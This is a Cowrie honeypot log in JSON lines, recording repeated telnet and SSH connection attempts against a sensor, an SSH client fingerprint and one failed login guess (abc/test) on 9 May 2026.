{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:32:21.166124Z","src_ip":"154.198.162.75","session":"240e912bf788","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":39332,"dst_ip":"10.17.0.5","dst_port":23,"session":"1fb29fa634b3","protocol":"telnet","message":"New connection: 45.58.127.90:39332 (10.17.0.5:23) [session: 1fb29fa634b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:32:21.367554Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.228.63.189","src_port":53249,"dst_ip":"159.203.135.109","dst_port":23,"session":"dcc3f490931b","protocol":"telnet","message":"New connection: 176.228.63.189:53249 (159.203.135.109:23) [session: dcc3f490931b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:32:21.424920Z"}
{"eventid":"cowrie.session.closed","duration":30.713651418685913,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:32:21.463239Z","src_ip":"69.162.99.242","session":"3d74e5ee783c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":53458,"dst_ip":"159.203.135.109","dst_port":23,"session":"6d75b37b91b7","protocol":"telnet","message":"New connection: 69.162.99.242:53458 (159.203.135.109:23) [session: 6d75b37b91b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:32:22.267676Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":39334,"dst_ip":"10.17.0.5","dst_port":23,"session":"045e88c3b1f3","protocol":"telnet","message":"New connection: 45.58.127.90:39334 (10.17.0.5:23) [session: 045e88c3b1f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:32:22.323728Z"}
{"eventid":"cowrie.session.closed","duration":43.379526138305664,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:32:23.034697Z","src_ip":"45.58.127.90","session":"7856eaeb41cd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.74867510795593,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:32:29.198706Z","src_ip":"45.58.127.90","session":"d4aa309a92d4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":43102,"dst_ip":"159.203.135.109","dst_port":23,"session":"1f5fccf4ea69","protocol":"telnet","message":"New connection: 147.182.143.59:43102 (159.203.135.109:23) [session: 1f5fccf4ea69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:32:31.612445Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":44182,"dst_ip":"159.203.135.109","dst_port":23,"session":"0bab0ce455c5","protocol":"telnet","message":"New connection: 69.162.99.242:44182 (159.203.135.109:23) [session: 0bab0ce455c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:32:31.678877Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":33476,"dst_ip":"10.17.0.5","dst_port":23,"session":"6639e8fe5a10","protocol":"telnet","message":"New connection: 45.58.127.90:33476 (10.17.0.5:23) [session: 6639e8fe5a10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:32:32.273597Z"}
{"eventid":"cowrie.session.closed","duration":30.35056185722351,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:32:34.204795Z","src_ip":"69.162.99.242","session":"e2b4b4f92f64","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.243297100067139,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:32:34.668128Z","src_ip":"176.228.63.189","session":"dcc3f490931b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.43152832984924,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:32:36.263933Z","src_ip":"45.58.127.90","session":"9d1a1fa33f28","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.638976573944092,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:32:36.770065Z","src_ip":"69.162.99.242","session":"2c2d9ab61cf6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":33492,"dst_ip":"10.17.0.5","dst_port":23,"session":"d8be2ff3b686","protocol":"telnet","message":"New connection: 45.58.127.90:33492 (10.17.0.5:23) [session: d8be2ff3b686]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:32:41.398759Z"}
{"eventid":"cowrie.session.closed","duration":30.95183515548706,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:32:41.476240Z","src_ip":"69.162.99.242","session":"b0ee46d93893","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.09153962135315,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:32:43.716739Z","src_ip":"69.162.99.242","session":"eed96d411914","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.120427131652832,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:32:46.275100Z","src_ip":"69.162.99.242","session":"87a096f8429e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":47942,"dst_ip":"159.203.135.109","dst_port":23,"session":"897210942c77","protocol":"telnet","message":"New connection: 69.162.99.242:47942 (159.203.135.109:23) [session: 897210942c77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:32:47.176219Z"}
{"eventid":"cowrie.session.closed","duration":15.631558656692505,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:32:47.243869Z","src_ip":"147.182.143.59","session":"1f5fccf4ea69","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.100778818130493,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:32:51.051651Z","src_ip":"69.162.99.242","session":"3e302f555094","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.10359477996826,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:32:53.371122Z","src_ip":"69.162.99.242","session":"6d75b37b91b7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":42376,"dst_ip":"159.203.135.109","dst_port":23,"session":"147190afb280","protocol":"telnet","message":"New connection: 147.182.143.59:42376 (159.203.135.109:23) [session: 147190afb280]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:32:59.660847Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":51542,"dst_ip":"159.203.135.109","dst_port":23,"session":"191c5a13fb92","protocol":"telnet","message":"New connection: 69.162.99.242:51542 (159.203.135.109:23) [session: 191c5a13fb92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:33:02.777055Z"}
{"eventid":"cowrie.session.closed","duration":31.11048936843872,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:33:02.789279Z","src_ip":"69.162.99.242","session":"0bab0ce455c5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.2145140171051,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:33:03.538113Z","src_ip":"45.58.127.90","session":"045e88c3b1f3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.59661555290222,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:33:05.964065Z","src_ip":"45.58.127.90","session":"1fb29fa634b3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.176398038864136,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:33:11.837141Z","src_ip":"147.182.143.59","session":"147190afb280","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":58806,"dst_ip":"159.203.135.109","dst_port":23,"session":"ef1489ecf951","protocol":"telnet","message":"New connection: 147.182.143.59:58806 (159.203.135.109:23) [session: ef1489ecf951]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:33:12.354833Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.198.162.75","src_port":45006,"dst_ip":"10.17.0.5","dst_port":22,"session":"3de6a9559d22","protocol":"ssh","message":"New connection: 154.198.162.75:45006 (10.17.0.5:22) [session: 3de6a9559d22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:33:14.256996Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:33:14.261570Z","src_ip":"154.198.162.75","session":"3de6a9559d22","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:33:14.462788Z","src_ip":"154.198.162.75","session":"3de6a9559d22","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"abc","password":"test","message":"login attempt [abc/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:33:15.311078Z","src_ip":"154.198.162.75","session":"3de6a9559d22","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.27988576889038,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:33:15.553397Z","src_ip":"45.58.127.90","session":"6639e8fe5a10","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.83259892463684,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:33:16.231223Z","src_ip":"45.58.127.90","session":"d8be2ff3b686","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:33:16.515703Z","src_ip":"154.198.162.75","session":"3de6a9559d22","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.51479482650757,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:33:18.690871Z","src_ip":"69.162.99.242","session":"897210942c77","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":38826,"dst_ip":"159.203.135.109","dst_port":23,"session":"c9c76ec98098","protocol":"telnet","message":"New connection: 69.162.99.242:38826 (159.203.135.109:23) [session: c9c76ec98098]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:33:21.496199Z"}
{"eventid":"cowrie.session.closed","duration":12.54768705368042,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:33:24.902394Z","src_ip":"147.182.143.59","session":"ef1489ecf951","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":50594,"dst_ip":"159.203.135.109","dst_port":23,"session":"45924029577f","protocol":"telnet","message":"New connection: 69.162.99.242:50594 (159.203.135.109:23) [session: 45924029577f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:33:26.312026Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":50944,"dst_ip":"159.203.135.109","dst_port":23,"session":"ef68d6c04c66","protocol":"telnet","message":"New connection: 69.162.99.242:50944 (159.203.135.109:23) [session: ef68d6c04c66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:33:26.440630Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":51784,"dst_ip":"159.203.135.109","dst_port":23,"session":"2e28eaa8271d","protocol":"telnet","message":"New connection: 69.162.99.242:51784 (159.203.135.109:23) [session: 2e28eaa8271d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:33:26.749285Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":55212,"dst_ip":"159.203.135.109","dst_port":23,"session":"e3c6878fdc40","protocol":"telnet","message":"New connection: 69.162.99.242:55212 (159.203.135.109:23) [session: e3c6878fdc40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:33:28.333617Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":59376,"dst_ip":"10.17.0.5","dst_port":23,"session":"bf886c226bd3","protocol":"telnet","message":"New connection: 45.58.127.90:59376 (10.17.0.5:23) [session: bf886c226bd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:33:28.884000Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":36242,"dst_ip":"159.203.135.109","dst_port":23,"session":"1f80b4d66385","protocol":"telnet","message":"New connection: 147.182.143.59:36242 (159.203.135.109:23) [session: 1f80b4d66385]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:33:29.297132Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":58646,"dst_ip":"159.203.135.109","dst_port":23,"session":"cea2412c155a","protocol":"telnet","message":"New connection: 69.162.99.242:58646 (159.203.135.109:23) [session: cea2412c155a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:33:29.998156Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":60870,"dst_ip":"159.203.135.109","dst_port":23,"session":"f3c5fe3e2774","protocol":"telnet","message":"New connection: 69.162.99.242:60870 (159.203.135.109:23) [session: f3c5fe3e2774]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:33:30.867381Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":44582,"dst_ip":"10.17.0.5","dst_port":23,"session":"962a5f449c1e","protocol":"telnet","message":"New connection: 45.58.127.90:44582 (10.17.0.5:23) [session: 962a5f449c1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:33:30.998635Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":33020,"dst_ip":"159.203.135.109","dst_port":23,"session":"ca634c6a2011","protocol":"telnet","message":"New connection: 69.162.99.242:33020 (159.203.135.109:23) [session: ca634c6a2011]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:33:31.008229Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":59386,"dst_ip":"10.17.0.5","dst_port":23,"session":"cdd00a6d16db","protocol":"telnet","message":"New connection: 45.58.127.90:59386 (10.17.0.5:23) [session: cdd00a6d16db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:33:31.971740Z"}
{"eventid":"cowrie.session.closed","duration":31.110331773757935,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:33:33.887268Z","src_ip":"69.162.99.242","session":"191c5a13fb92","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":40500,"dst_ip":"159.203.135.109","dst_port":23,"session":"0b07652184dc","protocol":"telnet","message":"New connection: 69.162.99.242:40500 (159.203.135.109:23) [session: 0b07652184dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:33:33.937737Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":38116,"dst_ip":"159.203.135.109","dst_port":23,"session":"7cbf1a1853b7","protocol":"telnet","message":"New connection: 69.162.99.242:38116 (159.203.135.109:23) [session: 7cbf1a1853b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:33:33.958401Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":41504,"dst_ip":"159.203.135.109","dst_port":23,"session":"89c852a27c1b","protocol":"telnet","message":"New connection: 69.162.99.242:41504 (159.203.135.109:23) [session: 89c852a27c1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:33:34.350670Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":44146,"dst_ip":"159.203.135.109","dst_port":23,"session":"e793188e5fbb","protocol":"telnet","message":"New connection: 69.162.99.242:44146 (159.203.135.109:23) [session: e793188e5fbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:33:35.458616Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":44344,"dst_ip":"159.203.135.109","dst_port":23,"session":"01a128d33948","protocol":"telnet","message":"New connection: 69.162.99.242:44344 (159.203.135.109:23) [session: 01a128d33948]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:33:35.563606Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":45886,"dst_ip":"159.203.135.109","dst_port":23,"session":"eb8bc7f5acf7","protocol":"telnet","message":"New connection: 69.162.99.242:45886 (159.203.135.109:23) [session: eb8bc7f5acf7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:33:36.147687Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":46780,"dst_ip":"159.203.135.109","dst_port":23,"session":"8397353e6592","protocol":"telnet","message":"New connection: 69.162.99.242:46780 (159.203.135.109:23) [session: 8397353e6592]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:33:36.576467Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":49940,"dst_ip":"159.203.135.109","dst_port":23,"session":"84d05f7ce860","protocol":"telnet","message":"New connection: 69.162.99.242:49940 (159.203.135.109:23) [session: 84d05f7ce860]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:33:37.755870Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":52980,"dst_ip":"159.203.135.109","dst_port":23,"session":"3fc30c2ecb92","protocol":"telnet","message":"New connection: 69.162.99.242:52980 (159.203.135.109:23) [session: 3fc30c2ecb92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:33:39.033492Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":55036,"dst_ip":"159.203.135.109","dst_port":23,"session":"5a8370355add","protocol":"telnet","message":"New connection: 69.162.99.242:55036 (159.203.135.109:23) [session: 5a8370355add]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:33:39.997917Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":55438,"dst_ip":"159.203.135.109","dst_port":23,"session":"8dcc4bfbc661","protocol":"telnet","message":"New connection: 69.162.99.242:55438 (159.203.135.109:23) [session: 8dcc4bfbc661]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:33:40.129247Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":57440,"dst_ip":"159.203.135.109","dst_port":23,"session":"a956168456b5","protocol":"telnet","message":"New connection: 69.162.99.242:57440 (159.203.135.109:23) [session: a956168456b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:33:40.855126Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":34028,"dst_ip":"159.203.135.109","dst_port":23,"session":"244190c19a5d","protocol":"telnet","message":"New connection: 69.162.99.242:34028 (159.203.135.109:23) [session: 244190c19a5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:33:43.007709Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":35738,"dst_ip":"159.203.135.109","dst_port":23,"session":"c510c7671908","protocol":"telnet","message":"New connection: 69.162.99.242:35738 (159.203.135.109:23) [session: c510c7671908]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:33:43.764373Z"}
{"eventid":"cowrie.session.closed","duration":14.814140319824219,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:33:44.111125Z","src_ip":"147.182.143.59","session":"1f80b4d66385","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":35644,"dst_ip":"159.203.135.109","dst_port":23,"session":"1241e35d0155","protocol":"telnet","message":"New connection: 69.162.99.242:35644 (159.203.135.109:23) [session: 1241e35d0155]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:33:44.712224Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":39920,"dst_ip":"159.203.135.109","dst_port":23,"session":"2629cdde9b01","protocol":"telnet","message":"New connection: 69.162.99.242:39920 (159.203.135.109:23) [session: 2629cdde9b01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:33:45.602569Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":56872,"dst_ip":"10.17.0.5","dst_port":23,"session":"b76946f4ea79","protocol":"telnet","message":"New connection: 45.58.127.90:56872 (10.17.0.5:23) [session: b76946f4ea79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:33:46.326815Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":42696,"dst_ip":"159.203.135.109","dst_port":23,"session":"0316065dbd5f","protocol":"telnet","message":"New connection: 69.162.99.242:42696 (159.203.135.109:23) [session: 0316065dbd5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:33:46.849185Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":43200,"dst_ip":"159.203.135.109","dst_port":23,"session":"57803e3f10f1","protocol":"telnet","message":"New connection: 69.162.99.242:43200 (159.203.135.109:23) [session: 57803e3f10f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:33:47.086331Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":42132,"dst_ip":"159.203.135.109","dst_port":23,"session":"875375f6f2a4","protocol":"telnet","message":"New connection: 69.162.99.242:42132 (159.203.135.109:23) [session: 875375f6f2a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:33:47.557517Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":44098,"dst_ip":"159.203.135.109","dst_port":23,"session":"0b9751e84fe5","protocol":"telnet","message":"New connection: 69.162.99.242:44098 (159.203.135.109:23) [session: 0b9751e84fe5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:33:48.469851Z"}
